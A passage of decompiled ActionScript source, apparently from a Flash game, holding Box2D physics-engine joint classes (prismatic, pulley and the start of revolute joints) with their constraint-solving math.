_local24 = (_arg1.dt * ((m_force * m_linearJacobian.linear1.y) + ((m_motorForce + m_limitForce) * m_motorJacobian.linear1.y)));
_local25 = (_arg1.dt * ((m_force * m_linearJacobian.linear2.x) + ((m_motorForce + m_limitForce) * m_motorJacobian.linear2.x)));
_local26 = (_arg1.dt * ((m_force * m_linearJacobian.linear2.y) + ((m_motorForce + m_limitForce) * m_motorJacobian.linear2.y)));
_local27 = (_arg1.dt * (((m_force * m_linearJacobian.angular1) - m_torque) + ((m_motorForce + m_limitForce) * m_motorJacobian.angular1)));
_local28 = (_arg1.dt * (((m_force * m_linearJacobian.angular2) + m_torque) + ((m_motorForce + m_limitForce) * m_motorJacobian.angular2)));
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + (_local10 * _local23));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + (_local10 * _local24));
_local2.m_angularVelocity = (_local2.m_angularVelocity + (_local12 * _local27));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + (_local11 * _local25));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + (_local11 * _local26));
_local3.m_angularVelocity = (_local3.m_angularVelocity + (_local13 * _local28));
} else {
m_force = 0;
m_torque = 0;
m_limitForce = 0;
m_motorForce = 0;
};
m_limitPositionImpulse = 0;
}
public function GetMotorForce():Number{
return (m_motorForce);
}
public function SetMaxMotorForce(_arg1:Number):void{
m_maxMotorForce = _arg1;
}
public function EnableLimit(_arg1:Boolean):void{
m_enableLimit = _arg1;
}
override public function GetReactionTorque():Number{
return (m_torque);
}
public function IsLimitEnabled():Boolean{
return (m_enableLimit);
}
public function IsMotorEnabled():Boolean{
return (m_enableMotor);
}
override public function SolveVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
_local2 = m_body1;
_local3 = m_body2;
_local4 = _local2.m_invMass;
_local5 = _local3.m_invMass;
_local6 = _local2.m_invI;
_local7 = _local3.m_invI;
_local9 = m_linearJacobian.Compute(_local2.m_linearVelocity, _local2.m_angularVelocity, _local3.m_linearVelocity, _local3.m_angularVelocity);
_local10 = ((-(_arg1.inv_dt) * m_linearMass) * _local9);
m_force = (m_force + _local10);
_local11 = (_arg1.dt * _local10);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + ((_local4 * _local11) * m_linearJacobian.linear1.x));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + ((_local4 * _local11) * m_linearJacobian.linear1.y));
_local2.m_angularVelocity = (_local2.m_angularVelocity + ((_local6 * _local11) * m_linearJacobian.angular1));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + ((_local5 * _local11) * m_linearJacobian.linear2.x));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + ((_local5 * _local11) * m_linearJacobian.linear2.y));
_local3.m_angularVelocity = (_local3.m_angularVelocity + ((_local7 * _local11) * m_linearJacobian.angular2));
_local12 = (_local3.m_angularVelocity - _local2.m_angularVelocity);
_local13 = ((-(_arg1.inv_dt) * m_angularMass) * _local12);
m_torque = (m_torque + _local13);
_local14 = (_arg1.dt * _local13);
_local2.m_angularVelocity = (_local2.m_angularVelocity - (_local6 * _local14));
_local3.m_angularVelocity = (_local3.m_angularVelocity + (_local7 * _local14));
if (((m_enableMotor) && (!((m_limitState == e_equalLimits))))){
_local15 = (m_motorJacobian.Compute(_local2.m_linearVelocity, _local2.m_angularVelocity, _local3.m_linearVelocity, _local3.m_angularVelocity) - m_motorSpeed);
_local16 = ((-(_arg1.inv_dt) * m_motorMass) * _local15);
_local17 = m_motorForce;
m_motorForce = b2Math.b2Clamp((m_motorForce + _local16), -(m_maxMotorForce), m_maxMotorForce);
_local16 = (m_motorForce - _local17);
_local11 = (_arg1.dt * _local16);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + ((_local4 * _local11) * m_motorJacobian.linear1.x));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + ((_local4 * _local11) * m_motorJacobian.linear1.y));
_local2.m_angularVelocity = (_local2.m_angularVelocity + ((_local6 * _local11) * m_motorJacobian.angular1));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + ((_local5 * _local11) * m_motorJacobian.linear2.x));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + ((_local5 * _local11) * m_motorJacobian.linear2.y));
_local3.m_angularVelocity = (_local3.m_angularVelocity + ((_local7 * _local11) * m_motorJacobian.angular2));
};
if (((m_enableLimit) && (!((m_limitState == e_inactiveLimit))))){
_local18 = m_motorJacobian.Compute(_local2.m_linearVelocity, _local2.m_angularVelocity, _local3.m_linearVelocity, _local3.m_angularVelocity);
_local19 = ((-(_arg1.inv_dt) * m_motorMass) * _local18);
if (m_limitState == e_equalLimits){
m_limitForce = (m_limitForce + _local19);
} else {
if (m_limitState == e_atLowerLimit){
_local8 = m_limitForce;
m_limitForce = b2Math.b2Max((m_limitForce + _local19), 0);
_local19 = (m_limitForce - _local8);
} else {
if (m_limitState == e_atUpperLimit){
_local8 = m_limitForce;
m_limitForce = b2Math.b2Min((m_limitForce + _local19), 0);
_local19 = (m_limitForce - _local8);
};
};
};
_local11 = (_arg1.dt * _local19);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + ((_local4 * _local11) * m_motorJacobian.linear1.x));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + ((_local4 * _local11) * m_motorJacobian.linear1.y));
_local2.m_angularVelocity = (_local2.m_angularVelocity + ((_local6 * _local11) * m_motorJacobian.angular1));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + ((_local5 * _local11) * m_motorJacobian.linear2.x));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + ((_local5 * _local11) * m_motorJacobian.linear2.y));
_local3.m_angularVelocity = (_local3.m_angularVelocity + ((_local7 * _local11) * m_motorJacobian.angular2));
};
}
}
}//package Box2D.Dynamics.Joints
Section 61
//b2PrismaticJointDef (Box2D.Dynamics.Joints.b2PrismaticJointDef)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
public class b2PrismaticJointDef extends b2JointDef {
public var localAxis1:b2Vec2;
public var referenceAngle:Number;
public var maxMotorForce:Number;
public var motorSpeed:Number;
public var upperTranslation:Number;
public var localAnchor1:b2Vec2;
public var localAnchor2:b2Vec2;
public var enableLimit:Boolean;
public var enableMotor:Boolean;
public var lowerTranslation:Number;
public function b2PrismaticJointDef(){
localAnchor1 = new b2Vec2();
localAnchor2 = new b2Vec2();
localAxis1 = new b2Vec2();
super();
type = b2Joint.e_prismaticJoint;
localAxis1.Set(1, 0);
referenceAngle = 0;
enableLimit = false;
lowerTranslation = 0;
upperTranslation = 0;
enableMotor = false;
maxMotorForce = 0;
motorSpeed = 0;
}
public function Initialize(_arg1:b2Body, _arg2:b2Body, _arg3:b2Vec2, _arg4:b2Vec2):void{
body1 = _arg1;
body2 = _arg2;
localAnchor1 = body1.GetLocalPoint(_arg3);
localAnchor2 = body2.GetLocalPoint(_arg3);
localAxis1 = body1.GetLocalVector(_arg4);
referenceAngle = (body2.GetAngle() - body1.GetAngle());
}
}
}//package Box2D.Dynamics.Joints
Section 62
//b2PulleyJoint (Box2D.Dynamics.Joints.b2PulleyJoint)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Common.*;
public class b2PulleyJoint extends b2Joint {
public var m_ground:b2Body;
public var m_maxLength2:Number;
public var m_limitForce1:Number;
public var m_maxLength1:Number;
public var m_limitState1:int;
public var m_limitState2:int;
public var m_limitPositionImpulse2:Number;
public var m_force:Number;
public var m_limitPositionImpulse1:Number;
public var m_constant:Number;
public var m_state:int;
public var m_ratio:Number;
public var m_groundAnchor1:b2Vec2;
public var m_groundAnchor2:b2Vec2;
public var m_localAnchor1:b2Vec2;
public var m_localAnchor2:b2Vec2;
public var m_positionImpulse:Number;
public var m_limitMass2:Number;
public var m_limitMass1:Number;
public var m_pulleyMass:Number;
public var m_u1:b2Vec2;
public var m_u2:b2Vec2;
public var m_limitForce2:Number;
public static const b2_minPulleyLength:Number = 2;
public function b2PulleyJoint(_arg1:b2PulleyJointDef){
var _local2:b2Mat22;
var _local3:Number;
var _local4:Number;
m_groundAnchor1 = new b2Vec2();
m_groundAnchor2 = new b2Vec2();
m_localAnchor1 = new b2Vec2();
m_localAnchor2 = new b2Vec2();
m_u1 = new b2Vec2();
m_u2 = new b2Vec2();
super(_arg1);
m_ground = m_body1.m_world.m_groundBody;
m_groundAnchor1.x = (_arg1.groundAnchor1.x - m_ground.m_xf.position.x);
m_groundAnchor1.y = (_arg1.groundAnchor1.y - m_ground.m_xf.position.y);
m_groundAnchor2.x = (_arg1.groundAnchor2.x - m_ground.m_xf.position.x);
m_groundAnchor2.y = (_arg1.groundAnchor2.y - m_ground.m_xf.position.y);
m_localAnchor1.SetV(_arg1.localAnchor1);
m_localAnchor2.SetV(_arg1.localAnchor2);
m_ratio = _arg1.ratio;
m_constant = (_arg1.length1 + (m_ratio * _arg1.length2));
m_maxLength1 = b2Math.b2Min(_arg1.maxLength1, (m_constant - (m_ratio * b2_minPulleyLength)));
m_maxLength2 = b2Math.b2Min(_arg1.maxLength2, ((m_constant - b2_minPulleyLength) / m_ratio));
m_force = 0;
m_limitForce1 = 0;
m_limitForce2 = 0;
}
public function GetGroundAnchor2():b2Vec2{
var _local1:b2Vec2;
_local1 = m_ground.m_xf.position.Copy();
_local1.Add(m_groundAnchor2);
return (_local1);
}
override public function GetAnchor1():b2Vec2{
return (m_body1.GetWorldPoint(m_localAnchor1));
}
override public function GetAnchor2():b2Vec2{
return (m_body2.GetWorldPoint(m_localAnchor2));
}
override public function GetReactionForce():b2Vec2{
var _local1:b2Vec2;
_local1 = m_u2.Copy();
_local1.Multiply(m_force);
return (_local1);
}
override public function SolvePositionConstraints():Boolean{
var _local1:b2Body;
var _local2:b2Body;
var _local3:b2Mat22;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
_local1 = m_body1;
_local2 = m_body2;
_local4 = (m_ground.m_xf.position.x + m_groundAnchor1.x);
_local5 = (m_ground.m_xf.position.y + m_groundAnchor1.y);
_local6 = (m_ground.m_xf.position.x + m_groundAnchor2.x);
_local7 = (m_ground.m_xf.position.y + m_groundAnchor2.y);
_local23 = 0;
if (m_state == e_atUpperLimit){
_local3 = _local1.m_xf.R;
_local8 = (m_localAnchor1.x - _local1.m_sweep.localCenter.x);
_local9 = (m_localAnchor1.y - _local1.m_sweep.localCenter.y);
_local22 = ((_local3.col1.x * _local8) + (_local3.col2.x * _local9));
_local9 = ((_local3.col1.y * _local8) + (_local3.col2.y * _local9));
_local8 = _local22;
_local3 = _local2.m_xf.R;
_local10 = (m_localAnchor2.x - _local2.m_sweep.localCenter.x);
_local11 = (m_localAnchor2.y - _local2.m_sweep.localCenter.y);
_local22 = ((_local3.col1.x * _local10) + (_local3.col2.x * _local11));
_local11 = ((_local3.col1.y * _local10) + (_local3.col2.y * _local11));
_local10 = _local22;
_local12 = (_local1.m_sweep.c.x + _local8);
_local13 = (_local1.m_sweep.c.y + _local9);
_local14 = (_local2.m_sweep.c.x + _local10);
_local15 = (_local2.m_sweep.c.y + _local11);
m_u1.Set((_local12 - _local4), (_local13 - _local5));
m_u2.Set((_local14 - _local6), (_local15 - _local7));
_local16 = m_u1.Length();
_local17 = m_u2.Length();
if (_local16 > b2Settings.b2_linearSlop){
m_u1.Multiply((1 / _local16));
} else {
m_u1.SetZero();
};
if (_local17 > b2Settings.b2_linearSlop){
m_u2.Multiply((1 / _local17));
} else {
m_u2.SetZero();
};
_local18 = ((m_constant - _local16) - (m_ratio * _local17));
_local23 = b2Math.b2Max(_local23, -(_local18));
_local18 = b2Math.b2Clamp((_local18 + b2Settings.b2_linearSlop), -(b2Settings.b2_maxLinearCorrection), 0);
_local19 = (-(m_pulleyMass) * _local18);
_local20 = m_positionImpulse;
m_positionImpulse = b2Math.b2Max(0, (m_positionImpulse + _local19));
_local19 = (m_positionImpulse - _local20);
_local12 = (-(_local19) * m_u1.x);
_local13 = (-(_local19) * m_u1.y);
_local14 = ((-(m_ratio) * _local19) * m_u2.x);
_local15 = ((-(m_ratio) * _local19) * m_u2.y);
_local1.m_sweep.c.x = (_local1.m_sweep.c.x + (_local1.m_invMass * _local12));
_local1.m_sweep.c.y = (_local1.m_sweep.c.y + (_local1.m_invMass * _local13));
_local1.m_sweep.a = (_local1.m_sweep.a + (_local1.m_invI * ((_local8 * _local13) - (_local9 * _local12))));
_local2.m_sweep.c.x = (_local2.m_sweep.c.x + (_local2.m_invMass * _local14));
_local2.m_sweep.c.y = (_local2.m_sweep.c.y + (_local2.m_invMass * _local15));
_local2.m_sweep.a = (_local2.m_sweep.a + (_local2.m_invI * ((_local10 * _local15) - (_local11 * _local14))));
_local1.SynchronizeTransform();
_local2.SynchronizeTransform();
};
if (m_limitState1 == e_atUpperLimit){
_local3 = _local1.m_xf.R;
_local8 = (m_localAnchor1.x - _local1.m_sweep.localCenter.x);
_local9 = (m_localAnchor1.y - _local1.m_sweep.localCenter.y);
_local22 = ((_local3.col1.x * _local8) + (_local3.col2.x * _local9));
_local9 = ((_local3.col1.y * _local8) + (_local3.col2.y * _local9));
_local8 = _local22;
_local12 = (_local1.m_sweep.c.x + _local8);
_local13 = (_local1.m_sweep.c.y + _local9);
m_u1.Set((_local12 - _local4), (_local13 - _local5));
_local16 = m_u1.Length();
if (_local16 > b2Settings.b2_linearSlop){
m_u1.x = (m_u1.x * (1 / _local16));
m_u1.y = (m_u1.y * (1 / _local16));
} else {
m_u1.SetZero();
};
_local18 = (m_maxLength1 - _local16);
_local23 = b2Math.b2Max(_local23, -(_local18));
_local18 = b2Math.b2Clamp((_local18 + b2Settings.b2_linearSlop), -(b2Settings.b2_maxLinearCorrection), 0);
_local19 = (-(m_limitMass1) * _local18);
_local21 = m_limitPositionImpulse1;
m_limitPositionImpulse1 = b2Math.b2Max(0, (m_limitPositionImpulse1 + _local19));
_local19 = (m_limitPositionImpulse1 - _local21);
_local12 = (-(_local19) * m_u1.x);
_local13 = (-(_local19) * m_u1.y);
_local1.m_sweep.c.x = (_local1.m_sweep.c.x + (_local1.m_invMass * _local12));
_local1.m_sweep.c.y = (_local1.m_sweep.c.y + (_local1.m_invMass * _local13));
_local1.m_sweep.a = (_local1.m_sweep.a + (_local1.m_invI * ((_local8 * _local13) - (_local9 * _local12))));
_local1.SynchronizeTransform();
};
if (m_limitState2 == e_atUpperLimit){
_local3 = _local2.m_xf.R;
_local10 = (m_localAnchor2.x - _local2.m_sweep.localCenter.x);
_local11 = (m_localAnchor2.y - _local2.m_sweep.localCenter.y);
_local22 = ((_local3.col1.x * _local10) + (_local3.col2.x * _local11));
_local11 = ((_local3.col1.y * _local10) + (_local3.col2.y * _local11));
_local10 = _local22;
_local14 = (_local2.m_sweep.c.x + _local10);
_local15 = (_local2.m_sweep.c.y + _local11);
m_u2.Set((_local14 - _local6), (_local15 - _local7));
_local17 = m_u2.Length();
if (_local17 > b2Settings.b2_linearSlop){
m_u2.x = (m_u2.x * (1 / _local17));
m_u2.y = (m_u2.y * (1 / _local17));
} else {
m_u2.SetZero();
};
_local18 = (m_maxLength2 - _local17);
_local23 = b2Math.b2Max(_local23, -(_local18));
_local18 = b2Math.b2Clamp((_local18 + b2Settings.b2_linearSlop), -(b2Settings.b2_maxLinearCorrection), 0);
_local19 = (-(m_limitMass2) * _local18);
_local21 = m_limitPositionImpulse2;
m_limitPositionImpulse2 = b2Math.b2Max(0, (m_limitPositionImpulse2 + _local19));
_local19 = (m_limitPositionImpulse2 - _local21);
_local14 = (-(_local19) * m_u2.x);
_local15 = (-(_local19) * m_u2.y);
_local2.m_sweep.c.x = (_local2.m_sweep.c.x + (_local2.m_invMass * _local14));
_local2.m_sweep.c.y = (_local2.m_sweep.c.y + (_local2.m_invMass * _local15));
_local2.m_sweep.a = (_local2.m_sweep.a + (_local2.m_invI * ((_local10 * _local15) - (_local11 * _local14))));
_local2.SynchronizeTransform();
};
return ((_local23 < b2Settings.b2_linearSlop));
}
override public function InitVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
var _local26:Number;
_local2 = m_body1;
_local3 = m_body2;
_local4 = _local2.m_xf.R;
_local5 = (m_localAnchor1.x - _local2.m_sweep.localCenter.x);
_local6 = (m_localAnchor1.y - _local2.m_sweep.localCenter.y);
_local7 = ((_local4.col1.x * _local5) + (_local4.col2.x * _local6));
_local6 = ((_local4.col1.y * _local5) + (_local4.col2.y * _local6));
_local5 = _local7;
_local4 = _local3.m_xf.R;
_local8 = (m_localAnchor2.x - _local3.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local3.m_sweep.localCenter.y);
_local7 = ((_local4.col1.x * _local8) + (_local4.col2.x * _local9));
_local9 = ((_local4.col1.y * _local8) + (_local4.col2.y * _local9));
_local8 = _local7;
_local10 = (_local2.m_sweep.c.x + _local5);
_local11 = (_local2.m_sweep.c.y + _local6);
_local12 = (_local3.m_sweep.c.x + _local8);
_local13 = (_local3.m_sweep.c.y + _local9);
_local14 = (m_ground.m_xf.position.x + m_groundAnchor1.x);
_local15 = (m_ground.m_xf.position.y + m_groundAnchor1.y);
_local16 = (m_ground.m_xf.position.x + m_groundAnchor2.x);
_local17 = (m_ground.m_xf.position.y + m_groundAnchor2.y);
m_u1.Set((_local10 - _local14), (_local11 - _local15));
m_u2.Set((_local12 - _local16), (_local13 - _local17));
_local18 = m_u1.Length();
_local19 = m_u2.Length();
if (_local18 > b2Settings.b2_linearSlop){
m_u1.Multiply((1 / _local18));
} else {
m_u1.SetZero();
};
if (_local19 > b2Settings.b2_linearSlop){
m_u2.Multiply((1 / _local19));
} else {
m_u2.SetZero();
};
_local20 = ((m_constant - _local18) - (m_ratio * _local19));
if (_local20 > 0){
m_state = e_inactiveLimit;
m_force = 0;
} else {
m_state = e_atUpperLimit;
m_positionImpulse = 0;
};
if (_local18 < m_maxLength1){
m_limitState1 = e_inactiveLimit;
m_limitForce1 = 0;
} else {
m_limitState1 = e_atUpperLimit;
m_limitPositionImpulse1 = 0;
};
if (_local19 < m_maxLength2){
m_limitState2 = e_inactiveLimit;
m_limitForce2 = 0;
} else {
m_limitState2 = e_atUpperLimit;
m_limitPositionImpulse2 = 0;
};
_local21 = ((_local5 * m_u1.y) - (_local6 * m_u1.x));
_local22 = ((_local8 * m_u2.y) - (_local9 * m_u2.x));
m_limitMass1 = (_local2.m_invMass + ((_local2.m_invI * _local21) * _local21));
m_limitMass2 = (_local3.m_invMass + ((_local3.m_invI * _local22) * _local22));
m_pulleyMass = (m_limitMass1 + ((m_ratio * m_ratio) * m_limitMass2));
m_limitMass1 = (1 / m_limitMass1);
m_limitMass2 = (1 / m_limitMass2);
m_pulleyMass = (1 / m_pulleyMass);
if (_arg1.warmStarting){
_local23 = ((_arg1.dt * (-(m_force) - m_limitForce1)) * m_u1.x);
_local24 = ((_arg1.dt * (-(m_force) - m_limitForce1)) * m_u1.y);
_local25 = ((_arg1.dt * ((-(m_ratio) * m_force) - m_limitForce2)) * m_u2.x);
_local26 = ((_arg1.dt * ((-(m_ratio) * m_force) - m_limitForce2)) * m_u2.y);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + (_local2.m_invMass * _local23));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + (_local2.m_invMass * _local24));
_local2.m_angularVelocity = (_local2.m_angularVelocity + (_local2.m_invI * ((_local5 * _local24) - (_local6 * _local23))));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + (_local3.m_invMass * _local25));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + (_local3.m_invMass * _local26));
_local3.m_angularVelocity = (_local3.m_angularVelocity + (_local3.m_invI * ((_local8 * _local26) - (_local9 * _local25))));
} else {
m_force = 0;
m_limitForce1 = 0;
m_limitForce2 = 0;
};
}
override public function GetReactionTorque():Number{
return (0);
}
public function GetRatio():Number{
return (m_ratio);
}
public function GetLength2():Number{
var _local1:b2Vec2;
var _local2:Number;
var _local3:Number;
var _local4:Number;
var _local5:Number;
_local1 = m_body2.GetWorldPoint(m_localAnchor2);
_local2 = (m_ground.m_xf.position.x + m_groundAnchor2.x);
_local3 = (m_ground.m_xf.position.y + m_groundAnchor2.y);
_local4 = (_local1.x - _local2);
_local5 = (_local1.y - _local3);
return (Math.sqrt(((_local4 * _local4) + (_local5 * _local5))));
}
override public function SolveVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
_local2 = m_body1;
_local3 = m_body2;
_local4 = _local2.m_xf.R;
_local5 = (m_localAnchor1.x - _local2.m_sweep.localCenter.x);
_local6 = (m_localAnchor1.y - _local2.m_sweep.localCenter.y);
_local7 = ((_local4.col1.x * _local5) + (_local4.col2.x * _local6));
_local6 = ((_local4.col1.y * _local5) + (_local4.col2.y * _local6));
_local5 = _local7;
_local4 = _local3.m_xf.R;
_local8 = (m_localAnchor2.x - _local3.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local3.m_sweep.localCenter.y);
_local7 = ((_local4.col1.x * _local8) + (_local4.col2.x * _local9));
_local9 = ((_local4.col1.y * _local8) + (_local4.col2.y * _local9));
_local8 = _local7;
if (m_state == e_atUpperLimit){
_local10 = (_local2.m_linearVelocity.x + (-(_local2.m_angularVelocity) * _local6));
_local11 = (_local2.m_linearVelocity.y + (_local2.m_angularVelocity * _local5));
_local12 = (_local3.m_linearVelocity.x + (-(_local3.m_angularVelocity) * _local9));
_local13 = (_local3.m_linearVelocity.y + (_local3.m_angularVelocity * _local8));
_local18 = (-(((m_u1.x * _local10) + (m_u1.y * _local11))) - (m_ratio * ((m_u2.x * _local12) + (m_u2.y * _local13))));
_local19 = ((-(_arg1.inv_dt) * m_pulleyMass) * _local18);
_local20 = m_force;
m_force = b2Math.b2Max(0, (m_force + _local19));
_local19 = (m_force - _local20);
_local14 = ((-(_arg1.dt) * _local19) * m_u1.x);
_local15 = ((-(_arg1.dt) * _local19) * m_u1.y);
_local16 = (((-(_arg1.dt) * m_ratio) * _local19) * m_u2.x);
_local17 = (((-(_arg1.dt) * m_ratio) * _local19) * m_u2.y);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + (_local2.m_invMass * _local14));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + (_local2.m_invMass * _local15));
_local2.m_angularVelocity = (_local2.m_angularVelocity + (_local2.m_invI * ((_local5 * _local15) - (_local6 * _local14))));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + (_local3.m_invMass * _local16));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + (_local3.m_invMass * _local17));
_local3.m_angularVelocity = (_local3.m_angularVelocity + (_local3.m_invI * ((_local8 * _local17) - (_local9 * _local16))));
};
if (m_limitState1 == e_atUpperLimit){
_local10 = (_local2.m_linearVelocity.x + (-(_local2.m_angularVelocity) * _local6));
_local11 = (_local2.m_linearVelocity.y + (_local2.m_angularVelocity * _local5));
_local18 = -(((m_u1.x * _local10) + (m_u1.y * _local11)));
_local19 = ((-(_arg1.inv_dt) * m_limitMass1) * _local18);
_local20 = m_limitForce1;
m_limitForce1 = b2Math.b2Max(0, (m_limitForce1 + _local19));
_local19 = (m_limitForce1 - _local20);
_local14 = ((-(_arg1.dt) * _local19) * m_u1.x);
_local15 = ((-(_arg1.dt) * _local19) * m_u1.y);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + (_local2.m_invMass * _local14));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + (_local2.m_invMass * _local15));
_local2.m_angularVelocity = (_local2.m_angularVelocity + (_local2.m_invI * ((_local5 * _local15) - (_local6 * _local14))));
};
if (m_limitState2 == e_atUpperLimit){
_local12 = (_local3.m_linearVelocity.x + (-(_local3.m_angularVelocity) * _local9));
_local13 = (_local3.m_linearVelocity.y + (_local3.m_angularVelocity * _local8));
_local18 = -(((m_u2.x * _local12) + (m_u2.y * _local13)));
_local19 = ((-(_arg1.inv_dt) * m_limitMass2) * _local18);
_local20 = m_limitForce2;
m_limitForce2 = b2Math.b2Max(0, (m_limitForce2 + _local19));
_local19 = (m_limitForce2 - _local20);
_local16 = ((-(_arg1.dt) * _local19) * m_u2.x);
_local17 = ((-(_arg1.dt) * _local19) * m_u2.y);
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + (_local3.m_invMass * _local16));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + (_local3.m_invMass * _local17));
_local3.m_angularVelocity = (_local3.m_angularVelocity + (_local3.m_invI * ((_local8 * _local17) - (_local9 * _local16))));
};
}
public function GetLength1():Number{
var _local1:b2Vec2;
var _local2:Number;
var _local3:Number;
var _local4:Number;
var _local5:Number;
_local1 = m_body1.GetWorldPoint(m_localAnchor1);
_local2 = (m_ground.m_xf.position.x + m_groundAnchor1.x);
_local3 = (m_ground.m_xf.position.y + m_groundAnchor1.y);
_local4 = (_local1.x - _local2);
_local5 = (_local1.y - _local3);
return (Math.sqrt(((_local4 * _local4) + (_local5 * _local5))));
}
public function GetGroundAnchor1():b2Vec2{
var _local1:b2Vec2;
_local1 = m_ground.m_xf.position.Copy();
_local1.Add(m_groundAnchor1);
return (_local1);
}
}
}//package Box2D.Dynamics.Joints
Section 63
//b2PulleyJointDef (Box2D.Dynamics.Joints.b2PulleyJointDef)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
public class b2PulleyJointDef extends b2JointDef {
public var maxLength2:Number;
public var length1:Number;
public var length2:Number;
public var maxLength1:Number;
public var ratio:Number;
public var groundAnchor1:b2Vec2;
public var groundAnchor2:b2Vec2;
public var localAnchor1:b2Vec2;
public var localAnchor2:b2Vec2;
public function b2PulleyJointDef(){
groundAnchor1 = new b2Vec2();
groundAnchor2 = new b2Vec2();
localAnchor1 = new b2Vec2();
localAnchor2 = new b2Vec2();
super();
type = b2Joint.e_pulleyJoint;
groundAnchor1.Set(-1, 1);
groundAnchor2.Set(1, 1);
localAnchor1.Set(-1, 0);
localAnchor2.Set(1, 0);
length1 = 0;
maxLength1 = 0;
length2 = 0;
maxLength2 = 0;
ratio = 1;
collideConnected = true;
}
public function Initialize(_arg1:b2Body, _arg2:b2Body, _arg3:b2Vec2, _arg4:b2Vec2, _arg5:b2Vec2, _arg6:b2Vec2, _arg7:Number):void{
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
body1 = _arg1;
body2 = _arg2;
groundAnchor1.SetV(_arg3);
groundAnchor2.SetV(_arg4);
localAnchor1 = body1.GetLocalPoint(_arg5);
localAnchor2 = body2.GetLocalPoint(_arg6);
_local8 = (_arg5.x - _arg3.x);
_local9 = (_arg5.y - _arg3.y);
length1 = Math.sqrt(((_local8 * _local8) + (_local9 * _local9)));
_local10 = (_arg6.x - _arg4.x);
_local11 = (_arg6.y - _arg4.y);
length2 = Math.sqrt(((_local10 * _local10) + (_local11 * _local11)));
ratio = _arg7;
_local12 = (length1 + (ratio * length2));
maxLength1 = (_local12 - (ratio * b2PulleyJoint.b2_minPulleyLength));
maxLength2 = ((_local12 - b2PulleyJoint.b2_minPulleyLength) / ratio);
}
}
}//package Box2D.Dynamics.Joints
Section 64
//b2RevoluteJoint (Box2D.Dynamics.Joints.b2RevoluteJoint)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Common.*;
public class b2RevoluteJoint extends b2Joint {
public var m_limitForce:Number;
public var m_motorForce:Number;
public var m_pivotMass:b2Mat22;
public var m_enableLimit:Boolean;
public var m_limitState:int;
public var m_motorMass:Number;
public var m_localAnchor1:b2Vec2;
public var m_localAnchor2:b2Vec2;
private var K1:b2Mat22;
private var K2:b2Mat22;
private var K3:b2Mat22;
private var K:b2Mat22;
public var m_pivotForce:b2Vec2;
public var m_motorSpeed:Number;
public var m_enableMotor:Boolean;
public var m_limitPositionImpulse:Number;
public var m_maxMotorTorque:Number;
public var m_referenceAngle:Number;
public var m_lowerAngle:Number;
public var m_upperAngle:Number;
public static var tImpulse:b2Vec2 = new b2Vec2();
public function b2RevoluteJoint(_arg1:b2RevoluteJointDef){
K = new b2Mat22();
K1 = new b2Mat22();
K2 = new b2Mat22();
K3 = new b2Mat22();
m_localAnchor1 = new b2Vec2();
